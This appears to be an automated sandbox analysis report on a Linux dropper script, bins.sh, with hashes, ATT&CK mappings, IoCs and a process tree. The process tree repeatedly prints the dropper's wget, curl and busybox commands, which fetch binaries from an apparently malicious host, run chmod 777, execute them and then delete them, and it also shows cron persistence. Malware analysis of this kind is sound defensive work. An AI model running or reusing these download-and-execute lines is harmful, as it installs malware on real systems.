ddf2769f15432e0f6f011ea9e021ea0d591582785b1a94c064de0df3fad3928a

Analysis

max time kernel
150s
max time network
151s
platform
debian-9_mipsel
resource
debian9-mipsel-20240611-en
resource tags

arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
08/11/2024, 02:27

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General

Target
bins.sh
Size 10KB
Sample241108-cxevdstblq
SHA256 ddf2769f15432e0f6f011ea9e021ea0d591582785b1a94c064de0df3fad3928a
MD5 9b114db4728653db86b642065ddafe1c
SHA1 9ce2ac5f3480c7ed5198fdc2889a34798e3aa404
SHA512 27cb1aa0663be56f52e4be9dc1a905b1e7597ec3011d517b220e77a3e2271b4ecbbcab958218deb7ec52c21d77212d29f14402b64e07825249c5313f467af8a1
SSDEEP 192:hDolEp6rxAeCU1kv1nHcWZk18Ep6rxAe4nHM:5olEErxAeCU1a1nHcOi8EErxAe4nHM
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

Contacts a large (1057) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 13 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
866	chmod
960	chmod
968	chmod
976	chmod
826	chmod
834	chmod
850	chmod
858	chmod
988	chmod
995	chmod
732	chmod
760	chmod
842	chmod

Executes dropped EXE 12 IoCs

ioc	pid	Process
/tmp/Lg5s87jZUX8eZ28fPy2HQwub85NfZdyCxc	733	Lg5s87jZUX8eZ28fPy2HQwub85NfZdyCxc
/tmp/9xNsbFacxPNkm2bbhNPnI7jfDJUF9DQhPl	761	9xNsbFacxPNkm2bbhNPnI7jfDJUF9DQhPl
/tmp/6Nz2EKtmi645q5zpCoQekEMZhP9sfybhnl	827	6Nz2EKtmi645q5zpCoQekEMZhP9sfybhnl
/tmp/7rVy1xSe4H0pf1Pw8O1gF4JvpnrsAoKduX	835	7rVy1xSe4H0pf1Pw8O1gF4JvpnrsAoKduX
/tmp/5AFQsw1Y6sfzOJ4GUgnTPduGPlhgmAKPhe	843	5AFQsw1Y6sfzOJ4GUgnTPduGPlhgmAKPhe
/tmp/CvSHNV7wReyzeGsofrXCT2cWWumoFgE7Zj	851	CvSHNV7wReyzeGsofrXCT2cWWumoFgE7Zj
/tmp/CHvunwgktfBP0qxoRlpgodcgOKOCgThKsb	859	CHvunwgktfBP0qxoRlpgodcgOKOCgThKsb
/tmp/NAmS9v5auCykRGRIUuZaKji6n4lGxCb348	867	NAmS9v5auCykRGRIUuZaKji6n4lGxCb348
/tmp/ZwCezthvQEeoEJNRHukLK8TzSALJA4YRR9	961	ZwCezthvQEeoEJNRHukLK8TzSALJA4YRR9
/tmp/gqVz1AWh1vwvhhKPEGSW4dCGXPUMkK5VyM	969	gqVz1AWh1vwvhhKPEGSW4dCGXPUMkK5VyM
/tmp/gJzyDkCjSMz6ASd5oFbMIX9Qla0HtFkHa3	977	gJzyDkCjSMz6ASd5oFbMIX9Qla0HtFkHa3
/tmp/42LJpc7XIblUVH7kt0epFR0otKbiv8PrKO	989	42LJpc7XIblUVH7kt0epFR0otKbiv8PrKO

Renames itself 1 IoCs

pid	Process
868	NAmS9v5auCykRGRIUuZaKji6n4lGxCb348

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.K6iYLw	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/889/cmdline	NAmS9v5auCykRGRIUuZaKji6n4lGxCb348
File opened for reading	/proc/891/cmdline	NAmS9v5auCykRGRIUuZaKji6n4lGxCb348
File opened for reading	/proc/892/cmdline	NAmS9v5auCykRGRIUuZaKji6n4lGxCb348
File opened for reading	/proc/944/cmdline	NAmS9v5auCykRGRIUuZaKji6n4lGxCb348
File opened for reading	/proc/988/cmdline	NAmS9v5auCykRGRIUuZaKji6n4lGxCb348
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/382/cmdline	NAmS9v5auCykRGRIUuZaKji6n4lGxCb348
File opened for reading	/proc/890/cmdline	NAmS9v5auCykRGRIUuZaKji6n4lGxCb348
File opened for reading	/proc/1026/cmdline	NAmS9v5auCykRGRIUuZaKji6n4lGxCb348
File opened for reading	/proc/1037/cmdline	NAmS9v5auCykRGRIUuZaKji6n4lGxCb348
File opened for reading	/proc/15/cmdline	NAmS9v5auCykRGRIUuZaKji6n4lGxCb348
File opened for reading	/proc/17/cmdline	NAmS9v5auCykRGRIUuZaKji6n4lGxCb348
File opened for reading	/proc/882/cmdline	NAmS9v5auCykRGRIUuZaKji6n4lGxCb348
File opened for reading	/proc/903/cmdline	NAmS9v5auCykRGRIUuZaKji6n4lGxCb348
File opened for reading	/proc/922/cmdline	NAmS9v5auCykRGRIUuZaKji6n4lGxCb348
File opened for reading	/proc/1011/cmdline	NAmS9v5auCykRGRIUuZaKji6n4lGxCb348
File opened for reading	/proc/19/cmdline	NAmS9v5auCykRGRIUuZaKji6n4lGxCb348
File opened for reading	/proc/1040/cmdline	NAmS9v5auCykRGRIUuZaKji6n4lGxCb348
File opened for reading	/proc/1049/cmdline	NAmS9v5auCykRGRIUuZaKji6n4lGxCb348
File opened for reading	/proc/164/cmdline	NAmS9v5auCykRGRIUuZaKji6n4lGxCb348
File opened for reading	/proc/947/cmdline	NAmS9v5auCykRGRIUuZaKji6n4lGxCb348
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/897/cmdline	NAmS9v5auCykRGRIUuZaKji6n4lGxCb348
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/7/cmdline	NAmS9v5auCykRGRIUuZaKji6n4lGxCb348
File opened for reading	/proc/873/cmdline	NAmS9v5auCykRGRIUuZaKji6n4lGxCb348
File opened for reading	/proc/952/cmdline	NAmS9v5auCykRGRIUuZaKji6n4lGxCb348
File opened for reading	/proc/1054/cmdline	NAmS9v5auCykRGRIUuZaKji6n4lGxCb348
File opened for reading	/proc/6/cmdline	NAmS9v5auCykRGRIUuZaKji6n4lGxCb348
File opened for reading	/proc/987/cmdline	NAmS9v5auCykRGRIUuZaKji6n4lGxCb348
File opened for reading	/proc/1002/cmdline	NAmS9v5auCykRGRIUuZaKji6n4lGxCb348
File opened for reading	/proc/1017/cmdline	NAmS9v5auCykRGRIUuZaKji6n4lGxCb348
File opened for reading	/proc/1050/cmdline	NAmS9v5auCykRGRIUuZaKji6n4lGxCb348
File opened for reading	/proc/36/cmdline	NAmS9v5auCykRGRIUuZaKji6n4lGxCb348
File opened for reading	/proc/894/cmdline	NAmS9v5auCykRGRIUuZaKji6n4lGxCb348
File opened for reading	/proc/1001/cmdline	NAmS9v5auCykRGRIUuZaKji6n4lGxCb348
File opened for reading	/proc/76/cmdline	NAmS9v5auCykRGRIUuZaKji6n4lGxCb348
File opened for reading	/proc/936/cmdline	NAmS9v5auCykRGRIUuZaKji6n4lGxCb348
File opened for reading	/proc/984/cmdline	NAmS9v5auCykRGRIUuZaKji6n4lGxCb348
File opened for reading	/proc/78/cmdline	NAmS9v5auCykRGRIUuZaKji6n4lGxCb348
File opened for reading	/proc/1057/cmdline	NAmS9v5auCykRGRIUuZaKji6n4lGxCb348
File opened for reading	/proc/5/cmdline	NAmS9v5auCykRGRIUuZaKji6n4lGxCb348
File opened for reading	/proc/105/cmdline	NAmS9v5auCykRGRIUuZaKji6n4lGxCb348
File opened for reading	/proc/668/cmdline	NAmS9v5auCykRGRIUuZaKji6n4lGxCb348
File opened for reading	/proc/958/cmdline	NAmS9v5auCykRGRIUuZaKji6n4lGxCb348
File opened for reading	/proc/1006/cmdline	NAmS9v5auCykRGRIUuZaKji6n4lGxCb348
File opened for reading	/proc/1038/cmdline	NAmS9v5auCykRGRIUuZaKji6n4lGxCb348
File opened for reading	/proc/702/cmdline	NAmS9v5auCykRGRIUuZaKji6n4lGxCb348
File opened for reading	/proc/887/cmdline	NAmS9v5auCykRGRIUuZaKji6n4lGxCb348
File opened for reading	/proc/999/cmdline	NAmS9v5auCykRGRIUuZaKji6n4lGxCb348
File opened for reading	/proc/1058/cmdline	NAmS9v5auCykRGRIUuZaKji6n4lGxCb348
File opened for reading	/proc/21/cmdline	NAmS9v5auCykRGRIUuZaKji6n4lGxCb348
File opened for reading	/proc/319/cmdline	NAmS9v5auCykRGRIUuZaKji6n4lGxCb348
File opened for reading	/proc/945/cmdline	NAmS9v5auCykRGRIUuZaKji6n4lGxCb348
File opened for reading	/proc/3/cmdline	NAmS9v5auCykRGRIUuZaKji6n4lGxCb348
File opened for reading	/proc/669/cmdline	NAmS9v5auCykRGRIUuZaKji6n4lGxCb348
File opened for reading	/proc/920/cmdline	NAmS9v5auCykRGRIUuZaKji6n4lGxCb348
File opened for reading	/proc/1015/cmdline	NAmS9v5auCykRGRIUuZaKji6n4lGxCb348
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/1029/cmdline	NAmS9v5auCykRGRIUuZaKji6n4lGxCb348
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/902/cmdline	NAmS9v5auCykRGRIUuZaKji6n4lGxCb348
File opened for reading	/proc/911/cmdline	NAmS9v5auCykRGRIUuZaKji6n4lGxCb348

System Network Configuration Discovery 1 TTPs 40 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
973	curl
998	wget
737	curl
854	wget
959	busybox
855	curl
878	curl
967	busybox
983	busybox
736	wget
847	curl
849	busybox
863	curl
964	wget
965	curl
704	wget
753	busybox
841	busybox
980	wget
981	curl
993	curl
714	curl
790	curl
994	busybox
846	wget
877	wget
972	wget
833	busybox
862	wget
865	busybox
975	busybox
992	wget
731	busybox
830	wget
831	curl
839	curl
857	busybox
766	wget
825	busybox
838	wget

Writes file to tmp directory 27 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/9xNsbFacxPNkm2bbhNPnI7jfDJUF9DQhPl	wget
File opened for modification	/tmp/CHvunwgktfBP0qxoRlpgodcgOKOCgThKsb	wget
File opened for modification	/tmp/CHvunwgktfBP0qxoRlpgodcgOKOCgThKsb	curl
File opened for modification	/tmp/NAmS9v5auCykRGRIUuZaKji6n4lGxCb348	wget
File opened for modification	/tmp/gJzyDkCjSMz6ASd5oFbMIX9Qla0HtFkHa3	busybox
File opened for modification	/tmp/Lg5s87jZUX8eZ28fPy2HQwub85NfZdyCxc	curl
File opened for modification	/tmp/6Nz2EKtmi645q5zpCoQekEMZhP9sfybhnl	curl
File opened for modification	/tmp/7rVy1xSe4H0pf1Pw8O1gF4JvpnrsAoKduX	wget
File opened for modification	/tmp/7rVy1xSe4H0pf1Pw8O1gF4JvpnrsAoKduX	curl
File opened for modification	/tmp/CvSHNV7wReyzeGsofrXCT2cWWumoFgE7Zj	busybox
File opened for modification	/tmp/NAmS9v5auCykRGRIUuZaKji6n4lGxCb348	busybox
File opened for modification	/tmp/CvSHNV7wReyzeGsofrXCT2cWWumoFgE7Zj	curl
File opened for modification	/tmp/9xNsbFacxPNkm2bbhNPnI7jfDJUF9DQhPl	busybox
File opened for modification	/tmp/5AFQsw1Y6sfzOJ4GUgnTPduGPlhgmAKPhe	busybox
File opened for modification	/tmp/NAmS9v5auCykRGRIUuZaKji6n4lGxCb348	curl
File opened for modification	/tmp/gqVz1AWh1vwvhhKPEGSW4dCGXPUMkK5VyM	busybox
File opened for modification	/tmp/Lg5s87jZUX8eZ28fPy2HQwub85NfZdyCxc	busybox
File opened for modification	/tmp/5AFQsw1Y6sfzOJ4GUgnTPduGPlhgmAKPhe	curl
File opened for modification	/tmp/ZwCezthvQEeoEJNRHukLK8TzSALJA4YRR9	busybox
File opened for modification	/tmp/9xNsbFacxPNkm2bbhNPnI7jfDJUF9DQhPl	curl
File opened for modification	/tmp/7rVy1xSe4H0pf1Pw8O1gF4JvpnrsAoKduX	busybox
File opened for modification	/tmp/6Nz2EKtmi645q5zpCoQekEMZhP9sfybhnl	wget
File opened for modification	/tmp/6Nz2EKtmi645q5zpCoQekEMZhP9sfybhnl	busybox
File opened for modification	/tmp/5AFQsw1Y6sfzOJ4GUgnTPduGPlhgmAKPhe	wget
File opened for modification	/tmp/CvSHNV7wReyzeGsofrXCT2cWWumoFgE7Zj	wget
File opened for modification	/tmp/CHvunwgktfBP0qxoRlpgodcgOKOCgThKsb	busybox
File opened for modification	/tmp/42LJpc7XIblUVH7kt0epFR0otKbiv8PrKO	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:699
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:701
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Lg5s87jZUX8eZ28fPy2HQwub85NfZdyCxc
  2⤵
  - System Network Configuration Discovery
  PID:704
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/Lg5s87jZUX8eZ28fPy2HQwub85NfZdyCxc
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:714
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/Lg5s87jZUX8eZ28fPy2HQwub85NfZdyCxc
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:731
- /bin/chmod
  chmod 777 Lg5s87jZUX8eZ28fPy2HQwub85NfZdyCxc
  2⤵
  - File and Directory Permissions Modification
  PID:732
- /tmp/Lg5s87jZUX8eZ28fPy2HQwub85NfZdyCxc
  ./Lg5s87jZUX8eZ28fPy2HQwub85NfZdyCxc
  2⤵
  - Executes dropped EXE
  PID:733
- /bin/rm
  rm Lg5s87jZUX8eZ28fPy2HQwub85NfZdyCxc
  2⤵
  PID:735
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/9xNsbFacxPNkm2bbhNPnI7jfDJUF9DQhPl
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:736
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/9xNsbFacxPNkm2bbhNPnI7jfDJUF9DQhPl
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:737
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/9xNsbFacxPNkm2bbhNPnI7jfDJUF9DQhPl
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:753
- /bin/chmod
  chmod 777 9xNsbFacxPNkm2bbhNPnI7jfDJUF9DQhPl
  2⤵
  - File and Directory Permissions Modification
  PID:760
- /tmp/9xNsbFacxPNkm2bbhNPnI7jfDJUF9DQhPl
  ./9xNsbFacxPNkm2bbhNPnI7jfDJUF9DQhPl
  2⤵
  - Executes dropped EXE
  PID:761
- /bin/rm
  rm 9xNsbFacxPNkm2bbhNPnI7jfDJUF9DQhPl
  2⤵
  PID:765
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/6Nz2EKtmi645q5zpCoQekEMZhP9sfybhnl
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:766
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/6Nz2EKtmi645q5zpCoQekEMZhP9sfybhnl
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:790
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/6Nz2EKtmi645q5zpCoQekEMZhP9sfybhnl
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:825
- /bin/chmod
  chmod 777 6Nz2EKtmi645q5zpCoQekEMZhP9sfybhnl
  2⤵
  - File and Directory Permissions Modification
  PID:826
- /tmp/6Nz2EKtmi645q5zpCoQekEMZhP9sfybhnl
  ./6Nz2EKtmi645q5zpCoQekEMZhP9sfybhnl
  2⤵
  - Executes dropped EXE
  PID:827
- /bin/rm
  rm 6Nz2EKtmi645q5zpCoQekEMZhP9sfybhnl
  2⤵
  PID:829
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/7rVy1xSe4H0pf1Pw8O1gF4JvpnrsAoKduX
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:830
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/7rVy1xSe4H0pf1Pw8O1gF4JvpnrsAoKduX
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:831
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/7rVy1xSe4H0pf1Pw8O1gF4JvpnrsAoKduX
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:833
- /bin/chmod
  chmod 777 7rVy1xSe4H0pf1Pw8O1gF4JvpnrsAoKduX
  2⤵
  - File and Directory Permissions Modification
  PID:834
- /tmp/7rVy1xSe4H0pf1Pw8O1gF4JvpnrsAoKduX
  ./7rVy1xSe4H0pf1Pw8O1gF4JvpnrsAoKduX
  2⤵
  - Executes dropped EXE
  PID:835
- /bin/rm
  rm 7rVy1xSe4H0pf1Pw8O1gF4JvpnrsAoKduX
  2⤵
  PID:837
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/5AFQsw1Y6sfzOJ4GUgnTPduGPlhgmAKPhe
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:838
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/5AFQsw1Y6sfzOJ4GUgnTPduGPlhgmAKPhe
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:839
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/5AFQsw1Y6sfzOJ4GUgnTPduGPlhgmAKPhe
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:841
- /bin/chmod
  chmod 777 5AFQsw1Y6sfzOJ4GUgnTPduGPlhgmAKPhe
  2⤵
  - File and Directory Permissions Modification
  PID:842
- /tmp/5AFQsw1Y6sfzOJ4GUgnTPduGPlhgmAKPhe
  ./5AFQsw1Y6sfzOJ4GUgnTPduGPlhgmAKPhe
  2⤵
  - Executes dropped EXE
  PID:843
- /bin/rm
  rm 5AFQsw1Y6sfzOJ4GUgnTPduGPlhgmAKPhe
  2⤵
  PID:845
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/CvSHNV7wReyzeGsofrXCT2cWWumoFgE7Zj
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:846
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/CvSHNV7wReyzeGsofrXCT2cWWumoFgE7Zj
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:847
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/CvSHNV7wReyzeGsofrXCT2cWWumoFgE7Zj
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:849
- /bin/chmod
  chmod 777 CvSHNV7wReyzeGsofrXCT2cWWumoFgE7Zj
  2⤵
  - File and Directory Permissions Modification
  PID:850
- /tmp/CvSHNV7wReyzeGsofrXCT2cWWumoFgE7Zj
  ./CvSHNV7wReyzeGsofrXCT2cWWumoFgE7Zj
  2⤵
  - Executes dropped EXE
  PID:851
- /bin/rm
  rm CvSHNV7wReyzeGsofrXCT2cWWumoFgE7Zj
  2⤵
  PID:853
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/CHvunwgktfBP0qxoRlpgodcgOKOCgThKsb
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:854
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/CHvunwgktfBP0qxoRlpgodcgOKOCgThKsb
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:855
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/CHvunwgktfBP0qxoRlpgodcgOKOCgThKsb
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:857
- /bin/chmod
  chmod 777 CHvunwgktfBP0qxoRlpgodcgOKOCgThKsb
  2⤵
  - File and Directory Permissions Modification
  PID:858
- /tmp/CHvunwgktfBP0qxoRlpgodcgOKOCgThKsb
  ./CHvunwgktfBP0qxoRlpgodcgOKOCgThKsb
  2⤵
  - Executes dropped EXE
  PID:859
- /bin/rm
  rm CHvunwgktfBP0qxoRlpgodcgOKOCgThKsb
  2⤵
  PID:861
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/NAmS9v5auCykRGRIUuZaKji6n4lGxCb348
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:862
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/NAmS9v5auCykRGRIUuZaKji6n4lGxCb348
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:863
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/NAmS9v5auCykRGRIUuZaKji6n4lGxCb348
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:865
- /bin/chmod
  chmod 777 NAmS9v5auCykRGRIUuZaKji6n4lGxCb348
  2⤵
  - File and Directory Permissions Modification
  PID:866
- /tmp/NAmS9v5auCykRGRIUuZaKji6n4lGxCb348
  ./NAmS9v5auCykRGRIUuZaKji6n4lGxCb348
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:867
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:869
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:870
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:871
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:872
- /bin/rm
  rm NAmS9v5auCykRGRIUuZaKji6n4lGxCb348
  2⤵
  PID:874
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/ZwCezthvQEeoEJNRHukLK8TzSALJA4YRR9
  2⤵
  - System Network Configuration Discovery
  PID:877
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/ZwCezthvQEeoEJNRHukLK8TzSALJA4YRR9
  2⤵
  - System Network Configuration Discovery
  PID:878
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/ZwCezthvQEeoEJNRHukLK8TzSALJA4YRR9
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:959
- /bin/chmod
  chmod 777 ZwCezthvQEeoEJNRHukLK8TzSALJA4YRR9
  2⤵
  - File and Directory Permissions Modification
  PID:960
- /tmp/ZwCezthvQEeoEJNRHukLK8TzSALJA4YRR9
  ./ZwCezthvQEeoEJNRHukLK8TzSALJA4YRR9
  2⤵
  - Executes dropped EXE
  PID:961
- /bin/rm
  rm ZwCezthvQEeoEJNRHukLK8TzSALJA4YRR9
  2⤵
  PID:963
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/gqVz1AWh1vwvhhKPEGSW4dCGXPUMkK5VyM
  2⤵
  - System Network Configuration Discovery
  PID:964
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/gqVz1AWh1vwvhhKPEGSW4dCGXPUMkK5VyM
  2⤵
  - System Network Configuration Discovery
  PID:965
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/gqVz1AWh1vwvhhKPEGSW4dCGXPUMkK5VyM
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:967
- /bin/chmod
  chmod 777 gqVz1AWh1vwvhhKPEGSW4dCGXPUMkK5VyM
  2⤵
  - File and Directory Permissions Modification
  PID:968
- /tmp/gqVz1AWh1vwvhhKPEGSW4dCGXPUMkK5VyM
  ./gqVz1AWh1vwvhhKPEGSW4dCGXPUMkK5VyM
  2⤵
  - Executes dropped EXE
  PID:969
- /bin/rm
  rm gqVz1AWh1vwvhhKPEGSW4dCGXPUMkK5VyM
  2⤵
  PID:971
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/gJzyDkCjSMz6ASd5oFbMIX9Qla0HtFkHa3
  2⤵
  - System Network Configuration Discovery
  PID:972
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/gJzyDkCjSMz6ASd5oFbMIX9Qla0HtFkHa3
  2⤵
  - System Network Configuration Discovery
  PID:973
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/gJzyDkCjSMz6ASd5oFbMIX9Qla0HtFkHa3
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:975
- /bin/chmod
  chmod 777 gJzyDkCjSMz6ASd5oFbMIX9Qla0HtFkHa3
  2⤵
  - File and Directory Permissions Modification
  PID:976
- /tmp/gJzyDkCjSMz6ASd5oFbMIX9Qla0HtFkHa3
  ./gJzyDkCjSMz6ASd5oFbMIX9Qla0HtFkHa3
  2⤵
  - Executes dropped EXE
  PID:977
- /bin/rm
  rm gJzyDkCjSMz6ASd5oFbMIX9Qla0HtFkHa3
  2⤵
  PID:979
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/42LJpc7XIblUVH7kt0epFR0otKbiv8PrKO
  2⤵
  - System Network Configuration Discovery
  PID:980
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/42LJpc7XIblUVH7kt0epFR0otKbiv8PrKO
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:981
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/42LJpc7XIblUVH7kt0epFR0otKbiv8PrKO
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:983
- /bin/chmod
  chmod 777 42LJpc7XIblUVH7kt0epFR0otKbiv8PrKO
  2⤵
  - File and Directory Permissions Modification
  PID:988
- /tmp/42LJpc7XIblUVH7kt0epFR0otKbiv8PrKO
  ./42LJpc7XIblUVH7kt0epFR0otKbiv8PrKO
  2⤵
  - Executes dropped EXE
  PID:989
- /bin/rm
  rm 42LJpc7XIblUVH7kt0epFR0otKbiv8PrKO
  2⤵
  PID:991
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/tWAyOWWiR01HMUxZ5wttzkt0UJovqtWOdM
  2⤵
  - System Network Configuration Discovery
  PID:992
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/tWAyOWWiR01HMUxZ5wttzkt0UJovqtWOdM
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:993
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/tWAyOWWiR01HMUxZ5wttzkt0UJovqtWOdM
  2⤵
  - System Network Configuration Discovery
  PID:994
- /bin/chmod
  chmod 777 tWAyOWWiR01HMUxZ5wttzkt0UJovqtWOdM
  2⤵
  - File and Directory Permissions Modification
  PID:995
- /tmp/tWAyOWWiR01HMUxZ5wttzkt0UJovqtWOdM
  ./tWAyOWWiR01HMUxZ5wttzkt0UJovqtWOdM
  2⤵
  PID:996
- /bin/rm
  rm tWAyOWWiR01HMUxZ5wttzkt0UJovqtWOdM
  2⤵
  PID:997
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Q2bi42Wp6u5AQtjJMmQTjbj48hBwrnMlSt
  2⤵
  - System Network Configuration Discovery
  PID:998

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

42LJpc7XIblUVH7kt0epFR0otKbiv8PrKO

Path /tmp/42LJpc7XIblUVH7kt0epFR0otKbiv8PrKO
Size 117KB
SHA256 8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579
MD5 849fa04ef88a8e8de32cb2e8538de5fe
SHA1 c768af29fe4b6695fff1541623e8bbd1c6f242f7
SHA512 2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf
SSDEEP 3072:VozXHIisGFgyKB7xlBAUNFd4vm4QbZJmf35zPp:bGmyKBxl2U+vm4QbZJm/5zPp
MD5 SHA1 SHA512 SSDEEP

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5AFQsw1Y6sfzOJ4GUgnTPduGPlhgmAKPhe

Path /tmp/5AFQsw1Y6sfzOJ4GUgnTPduGPlhgmAKPhe
Size 177KB
SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
MD5 786d75a158fe731feca3880f436082c0
SHA1 79ea2734e43d00cdeabed5586b2c1994d02aef3e
SHA512 7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f
SSDEEP 3072:PJtid2ng8w4YMrgUqqdaODUvI7UhTIyU2be6CXuVyZM/9h9XKvtZmmmLdwC7tuRD:BtiGGqaODUvI4hc2bvCXuVoM/9PXwPmK
MD5 SHA1 SHA512 SSDEEP

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6Nz2EKtmi645q5zpCoQekEMZhP9sfybhnl

Path /tmp/6Nz2EKtmi645q5zpCoQekEMZhP9sfybhnl
Size 122KB
